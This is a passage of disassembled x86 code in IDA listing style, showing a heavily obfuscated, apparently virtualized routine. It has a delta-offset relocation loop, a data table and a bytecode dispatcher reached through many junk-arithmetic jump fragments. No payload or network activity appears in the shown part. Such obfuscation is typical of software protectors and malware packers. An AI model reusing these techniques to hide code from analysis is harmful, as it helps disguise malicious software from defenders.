ecx jmp loc_5A32FE ; --------------------------------------------------------------------------- dw 1Bh dd 0FEF4026Dh, 230012h, 7032026Dh, 5Fh, 8B290000h, 8B29005Fh dd 206005Fh, 20000h, 10000h, 50000h, 9A2F0000h, 0FA42h dd 4 dup(0) dd 0BADB0000h, 0C1530058h, 0D22F0058h, 6F180058h, 9CC90058h dd 75C80058h, 7C9F0058h, 0DF520058h, 42200058h, 4C780058h dd 0DBC30058h, 0C6D00058h, 5B0D0058h, 3F0D0058h, 0C0A00058h dd 6BC70058h, 0A18D0058h, 77A20058h, 1F1D0058h, 71EC0058h dd 24C60058h, 85D20058h, 49D70058h, 1C040058h, 7FCD0058h dd 29180058h, 307F0058h, 31110058h, 0D8240058h, 0AEBF0058h dd 84A60058h, 0A4340058h, 0DCEF0058h, 0D2030058h, 9B8E0058h dd 0C64F0058h, 0A91B0058h, 0AFF00058h, 0C78B0058h, 0C0460058h dd 35E80058h, 63C30058h, 819B0058h, 0D8E00058h, 5C9D0058h dd 798F0058h, 0C8520058h, 0DBCC0058h, 0BB3F0058h, 56FB0058h dd 82C40058h, 79DB0058h, 0C44F0058h, 52880058h, 84350058h dd 9BEB0058h, 0B7DC0058h, 0C9250058h, 0C8A60058h, 6FCE0058h dd 84190058h, 337F0058h, 94910058h, 2D480058h, 238E0058h dd 6B020058h, 38E20058h, 2BC20058h, 0AE230058h, 0BEE50058h dd 0C7210058h, 47CE0058h, 0B24B0058h, 0DAB40058h, 5D050058h dd 99BC0058h, 8BCF0058h, 0A2800058h, 8B150058h, 0B5530058h dd 69C30058h, 3C820058h, 4D690058h, 39600058h, 74190058h dd 45290058h, 9E160058h, 0AF370058h, 21D20058h, 881B0058h dd 0D4990058h, 650E0058h, 7E030058h, 0B7540058h, 6C350058h dd 1C4A0058h, 0AEEE0058h, 3F480058h, 6CDA0058h, 93E70058h dd 31E60058h, 0D69D0058h, 0B6400058h, 911A0058h, 0DB630058h dd 7BB60058h, 0D8610058h, 2C440058h, 0D93E0058h, 44230058h dd 32510058h, 5FAE0058h, 0A37C0058h, 0DEE60058h, 0D6850058h dd 79E70058h, 56B80058h, 887E0058h, 4A2E0058h, 1AD30058h dd 93DA0058h, 0BDA30058h, 48300058h, 367F0058h, 954B0058h dd 0B4FC0058h, 2A2F0058h, 46250058h, 530E0058h, 0C4D60058h dd 0B7CE0058h, 570C0058h, 6BFB0058h, 68D80058h, 61050058h dd 0DEBC0058h, 93FD0058h, 2E6C0058h, 0A5D50058h, 9FF60058h dd 94C60058h, 45580058h, 4A7A0058h, 23280058h, 64470058h dd 51ED0058h, 0C3DE0058h, 651F0058h, 6A8B0058h, 7DB80058h dd 0C5EF0058h, 0D0950058h, 6B970058h, 99630058h, 3C060058h dd 37A50058h, 84740058h, 34530058h, 78D70058h, 0A7C80058h dd 66780058h, 3DD00058h, 5D1F0058h, 0BF010058h, 9BA60058h dd 50350058h, 6AF80058h db 58h, 0 ; --------------------------------------------------------------------------- loc_581882: ; CODE XREF: sub_57DD3A+25614j ; sub_57DD3A+2561Ej ... pusha pushf cld call $+5 pop edi sub edi, 6157E5Bh mov eax, edi add edi, 6157B73h cmp eax, [edi+2Ch] jnz short loc_5818A0 jmp short loc_5818B3 ; --------------------------------------------------------------------------- loc_5818A0: ; CODE XREF: sub_57DD3A+3B62j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5818AF ; --------------------------------------------------------------------------- loc_5818AA: ; CODE XREF: sub_57DD3A+3B77j add [edi+ecx*4+40h], eax dec ecx loc_5818AF: ; CODE XREF: sub_57DD3A+3B6Ej or ecx, ecx jnz short loc_5818AA loc_5818B3: ; CODE XREF: sub_57DD3A+3B64j mov esi, [esp+50h+var_2E+2] mov ebx, esi add esi, eax mov ecx, 1 loc_5818C0: ; CODE XREF: sub_57DD3A+3B8Dj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5818C0 loc_5818C9: ; CODE XREF: sub_57DD3A+3D5Fj ; sub_57DD3A+3E38j ... lodsb push small 1383h mov word ptr [esp+52h+var_54+2], dx jmp loc_58C144 ; --------------------------------------------------------------------------- loc_5818D7: ; CODE XREF: sub_57DD3A+CB81j and edx, ebp mov ebp, [esp+52h+var_54+2] add esp, 4 xor edx, 732B4263h add edi, edx pop edx add edi, 0BA07B6Ah add edi, ecx push eax mov eax, 7D117A6Bh sub eax, 26349FEh dec eax inc eax xor eax, 710E4B07h sub edi, eax pop eax push 1DAFh mov [esp+4Eh+var_50+2], ebx jmp loc_58786C ; --------------------------------------------------------------------------- loc_581915: ; CODE XREF: sub_57DD3A+6E35j mov ebp, [esp+4Eh+var_50+2] jmp loc_586E94 ; --------------------------------------------------------------------------- loc_58191D: ; CODE XREF: sub_57DD3A+ECDDj pop esp mov eax, [esp+4Ah+var_4C+2] sub esp, 4 mov [esp+4Eh+var_50+2], esi push esp mov esi, [esp+52h+var_54+2] jmp loc_58A5FA ; --------------------------------------------------------------------------- loc_581933: ; CODE XREF: sub_57DD3A+4B3Fj mov edx, esi pop esi sub esp, 4 mov [esp+52h+var_54+2], edi push ecx mov ecx, 76483C06h mov edi, ecx pop ecx neg edi push ebp mov ebp, 76483C05h xor edi, ebp pop ebp jmp loc_58ABD7 ; --------------------------------------------------------------------------- loc_581955: ; CODE XREF: sub_57DD3A+EC80j mov [esp+52h+var_54+2], esp add [esp+52h+var_54+2], 4 jmp loc_58BE91 ; --------------------------------------------------------------------------- loc_581961: ; CODE XREF: sub_57DD3A+F7F2j add al, 3Dh mov cx, word ptr [esp+52h+var_54+2] push ebp mov ebp, esp sub esp, 4 mov [esp+5Ah+var_5C+2], eax push edi mov edi, 4 mov eax, edi jmp loc_58B824 ; --------------------------------------------------------------------------- loc_58197D: ; CODE XREF: sub_57DD3A+EA1Dj add ecx, eax jmp loc_5858C2 ; --------------------------------------------------------------------------- loc_581984: ; CODE XREF: sub_57DD3A+A6B7j mov esi, 696E225Bh jmp loc_58B2DF ; --------------------------------------------------------------------------- loc_58198E: ; CODE XREF: sub_57DD3A+5087j push esi push ebp mov ebp, 36477A81h sub [esp+66h+var_64+2], ebp pop ebp jmp loc_5846E9 ; --------------------------------------------------------------------------- loc_58199F: ; CODE XREF: sub_57DD3A+4935j pop ebp push [esp+5Eh+var_60+2] jmp loc_58557B ; --------------------------------------------------------------------------- loc_5819A8: ; CODE XREF: sub_57DD3A+DAB3j sub [esp+62h+var_5C+2], edx add [esp+62h+var_5C+2], 4A922F27h jmp loc_5831FF ; --------------------------------------------------------------------------- loc_5819B9: ; CODE XREF: sub_57DD3A+F96Aj push esp jmp loc_585DE0 ; --------------------------------------------------------------------------- loc_5819BF: ; CODE XREF: sub_57DD3A+442Bj pop cx push small 5DE7h mov word ptr [esp+66h+var_68+2], dx mov dh, 0F9h jmp loc_5874FD ; --------------------------------------------------------------------------- loc_5819D0: ; CODE XREF: sub_57DD3A+DE37j mov esi, 520D354Ah shl esi, 8 add esi, 570C1783h add edx, esi pop esi jmp loc_583943 ; --------------------------------------------------------------------------- loc_5819E6: ; CODE XREF: sub_57DD3A+E59Bj mov edi, 194E6CFDh xor eax, edi pop edi sub eax, 4A003658h jmp loc_582B3F ; --------------------------------------------------------------------------- loc_5819F8: ; CODE XREF: sub_57DD3A+A95Aj add edx, edi push dword ptr [edx] add [esp+62h+var_64+2], 743A7130h mov ecx, [esp+62h+var_64+2] jmp loc_584905 ; --------------------------------------------------------------------------- loc_581A0B: ; CODE XREF: sub_57DD3A+8AADj mov ebx, [esp+62h+var_64+2] add esp, 4 and eax, esi pop esi or eax, eax jz loc_58A3E9 push 52Fh jmp loc_587DC1 ; --------------------------------------------------------------------------- loc_581A29: ; CODE XREF: sub_57DD3A+F55Aj or esi, 44CC6D1Dh push edx mov edx, 47916A73h shl edx, 3 jmp loc_589802 ; --------------------------------------------------------------------------- loc_581A3D: ; CODE XREF: sub_57DD3A+6AA6j shl eax, 2 shr eax, 4 jmp loc_58D663 ; --------------------------------------------------------------------------- loc_581A48: ; CODE XREF: sub_57DD3A+7524j xor ebp, [esp+62h+var_64+2] pop esp mov [esp+5Eh+var_60+2], ebx jmp loc_58DB8D ; --------------------------------------------------------------------------- loc_581A54: ; CODE XREF: sub_57DD3A+B822j push ebp jmp loc_58DF15 ; --------------------------------------------------------------------------- loc_581A5A: ; CODE XREF: sub_57DD3A+4673j mov [esp+62h+var_64+2], edi push esp mov edi, [esp+66h+var_68+2] add esp, 4 push 326Fh mov [esp+66h+var_68+2], esi mov esi, 4 sub edi, 224D6FE8h add edi, esi add edi, 224D6FE8h mov esi, [esp+66h+var_68+2] add esp, 4 add edi, 4 jmp loc_58BD4A ; --------------------------------------------------------------------------- loc_581A90: ; CODE XREF: sub_57DD3A+67C0j mov ebx, [esp+62h+var_64+2] add esp, 4 jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_581A9E: ; CODE XREF: sub_57DD3A+7E89j add eax, 2 jmp loc_588739 ; --------------------------------------------------------------------------- loc_581AA8: ; CODE XREF: sub_57DD3A+DA15j or eax, eax jz loc_583536 push dword ptr [edi+28h] push eax mov eax, 27C2051Bh xor [esp+66h+var_64+2], eax pop eax jmp loc_5841E3 ; --------------------------------------------------------------------------- loc_581AC3: ; CODE XREF: sub_57DD3A+4041j add eax, 4 xor eax, [esp+62h+var_64+2] xor [esp+62h+var_64+2], eax jmp loc_58961E ; --------------------------------------------------------------------------- lodsb push ebx push edx mov dh, 10h jmp loc_58AC21 ; --------------------------------------------------------------------------- loc_581ADD: ; CODE XREF: sub_57DD3A+EE7Bj mov edx, edi jmp loc_585F27 ; --------------------------------------------------------------------------- loc_581AE4: ; CODE XREF: sub_57DD3A+10079j sub ebp, 35776832h pop eax xor ebp, [esp+66h+var_68+2] xor [esp+66h+var_68+2], ebp jmp loc_582170 ; --------------------------------------------------------------------------- dw 2489h ; --------------------------------------------------------------------------- and al, 83h add al, 24h add al, 8Fh add al, 24h add [esp+66h+var_68+2], 4 mov ebx, [esp+66h+var_68+2] push 2018h jmp loc_5839FE ; --------------------------------------------------------------------------- loc_581B11: ; CODE XREF: sub_57DD3A+64CBj push ebx jmp loc_58C714 ; --------------------------------------------------------------------------- loc_581B17: ; CODE XREF: sub_57DD3A+E79Dj push 234h mov [esp+72h+var_74+2], edx mov dh, 0C1h sub al, 86h add al, 28h add al, 68h sub al, dh sub al, 68h sub esp, 4 mov [esp+76h+var_78+2], ebx mov bh, 69h shl bh, 1 shl bh, 1 jmp loc_5852ED ; --------------------------------------------------------------------------- loc_581B3F: ; CODE XREF: sub_57DD3A+BF8Aj add ebx, 1 and ebx, 56A94A71h sub esp, 4 mov [esp+7Ah+var_7C+2], esi mov esi, 178F17BAh inc esi dec esi xor esi, 0D779A85Ah add ebx, esi jmp loc_581D6C ; --------------------------------------------------------------------------- loc_581B65: ; CODE XREF: sub_57DD3A+60C4j mov dh, bh jmp loc_585A7D ; --------------------------------------------------------------------------- loc_581B6C: ; CODE XREF: sub_57DD3A+BE3Cj btr word ptr [esp+7Ah+var_7C+2], ax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_581B77: ; CODE XREF: sub_57DD3A+E229j add eax, 2E4F7C8Dh dec eax push ebp mov ebp, 6E221C48h xor eax, ebp pop ebp add eax, 197F6F5Dh mov ebx, eax pop eax inc ebx jmp loc_582DDD ; --------------------------------------------------------------------------- loc_581B94: ; CODE XREF: sub_57DD3A+4787j add eax, 4 sub eax, 4 xchg eax, [esp+7Ah+var_7C+2] pop esp jmp loc_587670 ; --------------------------------------------------------------------------- loc_581BA7: ; CODE XREF: sub_57DD3A+E2CCj add edi, ebp sub edi, 7B118D5h sub edi, 644616D3h jmp loc_589374 ; --------------------------------------------------------------------------- loc_581BBA: ; CODE XREF: sub_57DD3A+53F2j add esp, 4 sub al, bl sub al, 0B5h push dx mov dl, 0A9h and dl, 0A4h xor dl, 62h sub al, 15h sub al, dl add al, 15h jmp loc_588E7B ; --------------------------------------------------------------------------- loc_581BD9: ; CODE XREF: sub_57DD3A+AC85j add eax, 60833FE7h dec eax add eax, 9323F2B3h mov esi, eax pop eax not esi xor esi, 10A017E9h push ecx jmp loc_5839A2 ; --------------------------------------------------------------------------- loc_581BF5: ; CODE XREF: sub_57DD3A+5017j mov [esp+74h+var_74], eax mov eax, esp add eax, 4 jmp loc_588B88 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp+78h+var_78], eax push edx jmp loc_582E06 ; --------------------------------------------------------------------------- loc_581C13: ; CODE XREF: sub_57DD3A+C6D8j push [esp+7Ch+var_7C] push [esp+80h+var_80] mov ecx, [esp+84h+var_84] add esp, 4 add esp, 4 jmp loc_589EEB ; --------------------------------------------------------------------------- loc_581C2A: ; CODE XREF: sub_57DD3A+B8ABj or eax, eax jz loc_58D306 push edx push ebp mov ebp, 29CC3AC1h mov edx, ebp jmp loc_58A42C ; --------------------------------------------------------------------------- loc_581C40: ; CODE XREF: sub_57DD3A+59B7j add eax, 50AB2F9Ch jmp loc_584836 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp+80h+var_80], eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_581C58: ; CODE XREF: sub_57DD3A+BAC3j add bl, 9 jmp loc_587B9F ; --------------------------------------------------------------------------- loc_581C60: ; CODE XREF: sub_57DD3A+F374j add edi, 0D754B2B9h jmp loc_58C91E ; --------------------------------------------------------------------------- loc_581C6B: ; CODE XREF: sub_57DD3A+ADB0j dec edi jmp loc_585A6F ; --------------------------------------------------------------------------- loc_581C71: ; CODE XREF: sub_57DD3A+7FE0j mov [esp+84h+var_84], edx jmp loc_58859B ; --------------------------------------------------------------------------- loc_581C79: ; CODE XREF: sub_57DD3A+DDEDj mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp+80h+var_80] pop esp or eax, eax jnz loc_583536 sub esp, 4 mov [esp+80h+var_80], ebp push 0D4963BCh jmp loc_58509A ; --------------------------------------------------------------------------- loc_581CA6: ; CODE XREF: sub_57DD3A+E95Fj mov [esp+84h+var_84], eax push esp jmp loc_583563 ; --------------------------------------------------------------------------- loc_581CAF: ; CODE XREF: sub_57DD3A+73EAj add ecx, 4 push 75D6h mov [esp+8Ch+var_8C], ecx push [esp+8Ch+var_88] pop ecx pop [esp+8Ch+var_8C] pop esp push dword ptr [edi+eax*4] push [esp+88h+var_88] pop eax push eax push esp pop eax jmp loc_58C6B4 ; --------------------------------------------------------------------------- loc_581CD5: ; CODE XREF: sub_57DD3A+4B1Aj mov esp, [esp+8Ch+var_8C] cmp cx, ax pushf jmp loc_5825FD ; --------------------------------------------------------------------------- loc_581CE1: ; CODE XREF: sub_57DD3A+5395j add ebx, 0FCE59D39h sub edi, 727C73DCh add edi, ebx add edi, 727C73DCh pop ebx add edi, 4 jmp loc_58532E ; --------------------------------------------------------------------------- loc_581CFE: ; CODE XREF: sub_57DD3A+AB74j mov [esp+8Ch+var_8C], ebp push esp pop ebp push ebx push 529Ah mov [esp+94h+var_94], eax mov eax, 6DCB0A01h push edx jmp loc_58CF49 ; --------------------------------------------------------------------------- loc_581D17: ; CODE XREF: sub_57DD3A+5B30j sub esp, 4 jmp loc_58A639 ; --------------------------------------------------------------------------- loc_581D1F: ; CODE XREF: sub_57DD3A+E9EAj push ebx mov bl, 91h or bl, 0DBh push edx push ebx mov bh, 0C6h mov dl, 0CDh sub dl, bh pop ebx neg dl inc dl not dl and dl, 4Ch or dl, 81h sub dl, 0AEh add bl, dl jmp loc_585FA8 ; --------------------------------------------------------------------------- loc_581D44: ; CODE XREF: sub_57DD3A+7384j pop esp mov [esp+0A0h+var_A0], ecx mov ecx, 0FFFFFFFFh sub esi, 7ACC73EDh add esi, ecx add esi, 7ACC73EDh push [esp+0A0h+var_A0] pop ecx jmp loc_587949 ; --------------------------------------------------------------------------- loc_581D64: ; CODE XREF: sub_57DD3A+9DD4j mov ecx, esp push eax jmp loc_58B70B ; --------------------------------------------------------------------------- loc_581D6C: ; CODE XREF: sub_57DD3A+3E26j pop esi and eax, ebx push [esp+76h+var_78+2] pop ebx push eax mov eax, esp add eax, 4 jmp loc_581AC3 ; --------------------------------------------------------------------------- loc_581D80: ; CODE XREF: sub_57DD3A+AEF6j sub ax, 7D0Bh push ecx mov cx, 5D63h jmp loc_5883C9 ; --------------------------------------------------------------------------- loc_581D8E: ; CODE XREF: sub_57DD3A+4DD3j sub eax, 3EBAC4C1h sub ebx, eax pop eax sub ebx, 38235602h add ebx, eax push 66BBh mov [esp+7Eh+var_80+2], edx mov edx, 4D6A3213h jmp loc_586639 ; --------------------------------------------------------------------------- loc_581DB0: ; CODE XREF: sub_57DD3A+6089j push ebp push esi jmp loc_58387C ; --------------------------------------------------------------------------- loc_581DB7: ; CODE XREF: sub_57DD3A+A4C5j add eax, 6EEADCC5h sub esi, eax pop eax sub ebp, 4D1C7C84h add ebp, esi add ebp, 4D1C7C84h pop esi xchg ebp, [esp+7Eh+var_80+2] mov esp, [esp+7Eh+var_80+2] jmp loc_58BDD6 ; --------------------------------------------------------------------------- loc_581DD9: ; CODE XREF: sub_57DD3A+EEE4j sub esp, 4 mov [esp+82h+var_84+2], esi mov esi, 4 add ebx, esi mov esi, [esp+82h+var_84+2] add esp, 4 push eax mov eax, 4 add ebx, eax jmp loc_58BFBC ; --------------------------------------------------------------------------- loc_581DFC: ; CODE XREF: sub_57DD3A+8E14j sub edi, 199B2F6Fh pop edx xchg edi, [esp+7Eh+var_80+2] mov esp, [esp+7Eh+var_80+2] ror [esp+7Eh+var_80+2], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_581E12: ; CODE XREF: sub_57DD3A+B744j inc edx jmp loc_58CEA7 ; --------------------------------------------------------------------------- loc_581E18: ; CODE XREF: sub_57DD3A+F2E1j add esp, 4 push [esp+7Eh+var_80+2] mov eax, [esp+82h+var_84+2] add esp, 4 push eax mov eax, esp sub esp, 4 jmp loc_589743 ; --------------------------------------------------------------------------- loc_581E35: ; CODE XREF: sub_57DD3A+FC97j mov esi, esp add esi, 4 add esi, 4 jmp loc_58283E ; --------------------------------------------------------------------------- loc_581E48: ; CODE XREF: sub_57DD3A+F33Cj pop eax shl edi, 6 jmp loc_58480C ; --------------------------------------------------------------------------- loc_581E51: ; CODE XREF: sub_57DD3A+50ADj mov edx, 2EB71BDFh jmp loc_582368 ; --------------------------------------------------------------------------- loc_581E5B: ; CODE XREF: sub_57DD3A+FDCBj add ebp, 1B600ACAh jmp loc_58DA24 ; --------------------------------------------------------------------------- loc_581E66: ; CODE XREF: sub_57DD3A+F919j mov esi, 5BEB1ED4h sub esi, 1DA7E79h or esi, 180726BCh jmp loc_58B8C2 ; --------------------------------------------------------------------------- loc_581E7C: ; CODE XREF: sub_57DD3A+F0CAj sub dl, cl pop ecx add bl, dl push [esp+7Eh+var_80+2] pop edx add esp, 4 add bl, al push 2748h mov [esp+7Eh+var_80+2], edx mov dl, 0F0h push eax mov al, 44h sub bl, al jmp loc_58CA1C ; --------------------------------------------------------------------------- loc_581EA1: ; CODE XREF: sub_57DD3A+DB26j sub ebp, edi pop edi jmp loc_5844C4 ; --------------------------------------------------------------------------- loc_581EA9: ; CODE XREF: sub_57DD3A+E831j push esp pop ecx push edi jmp loc_584845 ; --------------------------------------------------------------------------- loc_581EB1: ; CODE XREF: sub_57DD3A+F3A5j pop ebx add esp, 4 jmp loc_58C9EB ; --------------------------------------------------------------------------- loc_581EBA: ; CODE XREF: sub_57DD3A+D8CEj pop eax xor ecx, [esp+76h+var_78+2] xor [esp+76h+var_78+2], ecx xor ecx, [esp+76h+var_78+2] pop esp jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_581ECA: ; CODE XREF: sub_57DD3A+9B98j add esi, ebp push ebx mov ebx, 4DD736DFh sub ebx, 1A3DDE69h add esi, ebx pop ebx mov ebp, [esp+72h+var_74+2] add esp, 4 jmp loc_58A626 ; --------------------------------------------------------------------------- loc_581EE6: ; CODE XREF: sub_57DD3A+7E99j shr cl, 5 jmp loc_585C6C ; --------------------------------------------------------------------------- loc_581EEE: ; CODE XREF: sub_57DD3A+7119j sub esp, 4 mov [esp+72h+var_74+2], ecx jmp loc_585231 ; --------------------------------------------------------------------------- loc_581EF9: ; CODE XREF: sub_57DD3A+ABF3j not ebx push ebx push [esp+76h+var_74+2] jmp loc_58D0D8 ; --------------------------------------------------------------------------- loc_581F05: ; CODE XREF: sub_57DD3A+92EFj mov ecx, 4D1A1CA6h xor ecx, 4D1A1CA2h mov edi, ecx pop ecx add [esp+76h+var_74+2], edi pop edi jmp loc_5818C9 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+72h+var_74+2] push ebp mov ebp, esp push 528Ch mov [esp+7Ah+var_7C+2], ecx mov ecx, 676860BAh sub ecx, 676860B6h add ebp, ecx pop ecx jmp loc_58A722 ; --------------------------------------------------------------------------- loc_581F3F: ; CODE XREF: sub_57DD3A+FF4Ej or [edi+1Ch], ebx jmp loc_58671F ; --------------------------------------------------------------------------- loc_581F47: ; CODE XREF: sub_57DD3A+DD83j add edx, 4 add edx, 4 xor edx, [esp+76h+var_78+2] xor [esp+76h+var_78+2], edx xor edx, [esp+76h+var_78+2] jmp loc_58D37A ; --------------------------------------------------------------------------- loc_581F61: ; CODE XREF: sub_57DD3A+E414j push 40D0h mov [esp+7Ah+var_7C+2], ecx push ebx mov bl, 8Fh mov ch, 51h xor ch, bl pop ebx sub al, ch mov ecx, [esp+7Ah+var_7C+2] jmp loc_589B64 ; --------------------------------------------------------------------------- loc_581F7B: ; CODE XREF: sub_57DD3A+82AAj push 79FAh mov [esp+7Eh+var_80+2], ebx mov bh, 0F3h shl bh, 3 and bh, 23h jmp loc_58407C ; --------------------------------------------------------------------------- loc_581F90: ; CODE XREF: sub_57DD3A+7D54j mov ebp, 2B54BA4Ah sub edi, 7A185336h sub edi, ebp add edi, 7A185336h mov ebp, [esp+7Eh+var_80+2] add esp, 4 and eax, edi jmp loc_589D44 ; --------------------------------------------------------------------------- loc_581FB0: ; CODE XREF: sub_57DD3A+B716j mov edx, [esp+7Ah+var_7C+2] add esp, 4 mov eax, [esp+76h+var_78+2] add esp, 4 mov [edi+eax*4], ch pop ecx jmp loc_58C6E3 ; --------------------------------------------------------------------------- loc_581FCB: ; CODE XREF: sub_57DD3A+5F97j mov word ptr [esp+6Eh+var_70+2], cx movzx cx, al push cx pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_581FDB: ; CODE XREF: sub_57DD3A+A98Bj mov [esp+74h+var_74], eax jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_581FE3: ; CODE XREF: sub_57DD3A+57E3j pop ebp xchg edx, [esp+70h+var_70] pop esp push ecx mov ecx, esp push esi mov esi, 63A20942h or esi, 5EC33522h jmp loc_58AD3B ; --------------------------------------------------------------------------- loc_581FFC: ; CODE XREF: sub_57DD3A+4A7Ej add [esp+74h+var_74], 4 jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_582008: ; CODE XREF: sub_57DD3A+897Aj mov bh, 0A1h mov cl, bh pop ebx mov ah, cl pop ecx or ah, 0A3h neg ah dec ah xor ah, 0D9h sub bl, ah pop eax pop ecx movzx eax, al pop small word ptr [edi+eax*4] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58202A: ; CODE XREF: sub_57DD3A+80D3j sub esp, 4 jmp loc_58ADEE ; --------------------------------------------------------------------------- loc_582035: ; CODE XREF: sub_57DD3A+8436j push ecx jmp loc_586627 ; --------------------------------------------------------------------------- loc_58203B: ; CODE XREF: sub_57DD3A+AF59j push 46Fh mov [esp+6Eh+var_70+2], edx mov edx, 5A091176h shl edx, 4 xor edx, 56255157h and edx, 764C17B5h jmp loc_584E7D ; --------------------------------------------------------------------------- loc_58205C: ; CODE XREF: sub_57DD3A+E8E7j xor eax, 310F744Ah xor eax, 68E53F21h sub esi, eax pop eax pop edx shr esi, 5 inc esi jmp loc_5871B0 ; --------------------------------------------------------------------------- loc_582073: ; CODE XREF: sub_57DD3A+AE62j sub ebx, 67432E88h mov edi, [esp+66h+var_68+2] push esi mov esi, esp jmp loc_58C538 ; --------------------------------------------------------------------------- loc_582084: ; CODE XREF: sub_57DD3A+BD55j xor [esp+6Ah+var_6C+2], ecx jmp loc_588453 ; --------------------------------------------------------------------------- loc_58208C: ; CODE XREF: sub_57DD3A+AC73j pop ebx pop esi add esi, 4 sub esi, 4 xchg esi, [esp+62h+var_64+2] jmp loc_58CCF2 ; --------------------------------------------------------------------------- loc_5820A2: ; CODE XREF: sub_57DD3A+F699j push ebp push [esp+66h+var_64+2] pop ebp jmp loc_584CCB ; --------------------------------------------------------------------------- loc_5820AD: ; CODE XREF: sub_57DD3A+7F64j sub al, 0D3h jmp loc_5868FF ; --------------------------------------------------------------------------- loc_5820B4: ; CODE XREF: sub_57DD3A+9D97j pop edx mov ebx, [esp+62h+var_64+2] push edi push esp mov edi, [esp+6Ah+var_6C+2] add esp, 4 add edi, 4 add edi, 4 push edi jmp loc_58818D ; --------------------------------------------------------------------------- loc_5820D5: ; CODE XREF: sub_57DD3A+7125j push [esp+6Ah+var_6C+2] pop edx add esp, 4 pop [esp+66h+var_68+2] pop esp mov word ptr [esp+5Eh+var_60+2], cx movzx cx, al push cx pushf jmp loc_586593 ; --------------------------------------------------------------------------- loc_5820F0: ; CODE XREF: sub_57DD3A+C466j push 45EAh mov [esp+68h+var_68], eax mov eax, 1BA0365Ch xor eax, 662724C3h mov edi, eax pop eax shl edi, 5 dec edi or edi, 13692889h add edi, 275A386Fh add edi, 58743BB7h xor edi, 0B147390Ch add edx, edi pop edi push ebx push edx pop ebx mov eax, ebx push [esp+64h+var_64] mov ebx, [esp+68h+var_68] jmp loc_588FB6 ; --------------------------------------------------------------------------- loc_582134: ; CODE XREF: sub_57DD3A+69ECj pop esi push esi mov esi, 2 sub edi, 6BC016BCh add edi, esi add edi, 6BC016BCh pop esi xchg edi, [esp+64h+var_64] mov esp, [esp+64h+var_64] div cx jmp loc_58B8E0 ; --------------------------------------------------------------------------- loc_582158: ; CODE XREF: sub_57DD3A+874Aj mov ch, 28h sub ch, 93h sub ch, dh add ch, 93h pop edx xor al, ch jmp loc_5819BF ; --------------------------------------------------------------------------- loc_58216A: ; CODE XREF: sub_57DD3A+BE25j pop ecx jmp loc_585D91 ; --------------------------------------------------------------------------- loc_582170: ; CODE XREF: sub_57DD3A+3DB7j xor ebp, [esp+66h+var_68+2] mov esp, [esp+66h+var_68+2] mov [esp+66h+var_68+2], edx push eax pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_582180: ; CODE XREF: sub_57DD3A+4CF0j push 6B49322Fh jmp loc_58DA75 ; --------------------------------------------------------------------------- loc_58218A: ; CODE XREF: sub_57DD3A+D1F8j pop eax push edx mov edx, 1FD95F1Bh shl edx, 1 xor edx, 39EB9ED0h sub esi, edx pop edx sub esi, 0EB90DA9h jmp loc_588413 ; --------------------------------------------------------------------------- loc_5821A7: ; CODE XREF: sub_57DD3A+6147j add ebx, ebp pop ebp add ebx, 738779EEh sub ebx, edi sub ebx, 738779EEh jmp loc_5877F4 ; --------------------------------------------------------------------------- loc_5821BD: ; CODE XREF: sub_57DD3A+6B9Aj add edx, 6C4B0C70h jmp loc_58592C ; --------------------------------------------------------------------------- loc_5821C8: ; CODE XREF: sub_57DD3A+EE52j ; sub_57DD3A+F672j push 3713h jmp loc_5854A5 ; --------------------------------------------------------------------------- mov eax, [esp+6Eh+var_70+2] push esi push esp jmp loc_5883B7 ; --------------------------------------------------------------------------- loc_5821DC: ; CODE XREF: sub_57DD3A+8F09j pop ecx push ebp mov ebp, 4 sub ecx, 177254EEh add ecx, ebp push edx push edi mov edi, 7F95585Fh xor edi, 327546E4h and edi, 55935CF6h and edi, 139E2D32h add edi, 15F248BCh mov edx, edi pop edi add ecx, edx jmp loc_58CEEF ; --------------------------------------------------------------------------- loc_582214: ; CODE XREF: sub_57DD3A+E91Aj mov edx, [esp+7Ah+var_7C+2] add esp, 4 add edx, 4 push ebp jmp loc_58D59D ; --------------------------------------------------------------------------- loc_582226: ; CODE XREF: sub_57DD3A+F994j add eax, 4 push 12E7h mov [esp+7Eh+var_80+2], esi mov esi, 5C984B22h jmp loc_587535 ; --------------------------------------------------------------------------- loc_58223D: ; CODE XREF: sub_57DD3A+B29Cj add ecx, 6D1E0ED8h pop ebp jmp loc_58935D ; --------------------------------------------------------------------------- loc_582249: ; CODE XREF: sub_57DD3A+A585j add esp, 4 jmp loc_588283 ; --------------------------------------------------------------------------- loc_582251: ; CODE XREF: sub_57DD3A+926Ej xchg ebp, [esp+76h+var_78+2] pop esp jmp loc_582380 ; --------------------------------------------------------------------------- loc_58225A: ; CODE XREF: sub_57DD3A+B959j push 546Fh jmp loc_58DB5B ; --------------------------------------------------------------------------- loc_582264: ; CODE XREF: sub_57DD3A+BED7j add esi, 7A4E7EAFh pop ebx add eax, 1B361EB7h sub eax, 541712BBh jmp loc_582933 ; --------------------------------------------------------------------------- loc_58227A: ; CODE XREF: sub_57DD3A+62A6j pop eax push ebp push edx mov edx, 5D064EB6h not edx neg edx push ebp mov ebp, 0 sub ebp, edx xchg ebp, edx pop ebp sub edx, 8E7B9759h mov ebp, edx pop edx inc ebp sub esp, 4 mov [esp+76h+var_78+2], ebx mov ebx, 599104B1h and ebp, ebx jmp loc_586EB3 ; --------------------------------------------------------------------------- loc_5822B0: ; CODE XREF: sub_57DD3A+6870j mov ebp, 76DB6C33h jmp loc_588A66 ; --------------------------------------------------------------------------- loc_5822BA: ; CODE XREF: sub_57DD3A+E797j mov ebx, esp jmp loc_5880AB ; --------------------------------------------------------------------------- loc_5822C1: ; CODE XREF: sub_57DD3A+DCF4j or eax, 